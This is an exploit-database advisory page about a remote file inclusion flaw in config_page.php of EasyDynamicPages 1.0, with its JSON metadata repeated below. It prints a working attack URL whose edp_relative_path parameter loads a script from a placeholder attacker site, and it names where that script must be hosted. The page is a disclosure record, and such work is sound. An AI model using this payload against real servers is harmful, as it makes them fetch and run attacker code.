Search...

EasyDynamicPages 1.0 - config_page.php PHP Remote File Inclusion

2004-01-02T00:00:00

ID EXPLOITPACK:EE934F5986F0A422755558E34982A59D
Type exploitpack
Reporter tsbeginnervn
Modified 2004-01-02T00:00:00

Description

EasyDynamicPages 1.0 - config_page.php PHP Remote File Inclusion

                                        
                                            source: https://www.securityfocus.com/bid/9338/info

EasyDynamicPages is prone to a remote file include vulnerability in a configuration script. This will permit a remote attack to include malicious PHP scripts from remote servers, which will then be executed by the web server hosting the vulnerable software. 

http://www.example.com/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://[attacker's_site]/

The attacker must have a malicious script hosted at the following location:

http://[attacker's_site]/admin/site_settings.php

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:13", "references": [], "description": "\nEasyDynamicPages 1.0 - config_page.php PHP Remote File Inclusion", "edition": 1, "reporter": "tsbeginnervn", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2004-01-02T00:00:00", "title": "EasyDynamicPages 1.0 - config_page.php PHP Remote File Inclusion", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:13", "rev": 2}, "score": {"value": 0.4, "vector": "NONE", "modified": "2020-04-01T19:04:13", "rev": 2}, "vulnersScore": 0.4}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2004-01-02T00:00:00", "id": "EXPLOITPACK:EE934F5986F0A422755558E34982A59D", "href": "", "viewCount": 1, "sourceData": "source: https://www.securityfocus.com/bid/9338/info\n\nEasyDynamicPages is prone to a remote file include vulnerability in a configuration script. This will permit a remote attack to include malicious PHP scripts from remote servers, which will then be executed by the web server hosting the vulnerable software. \n\nhttp://www.example.com/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://[attacker's_site]/\n\nThe attacker must have a malicious script hosted at the following location:\n\nhttp://[attacker's_site]/admin/site_settings.php", "cvss": {"score": 0.0, "vector": "NONE"}}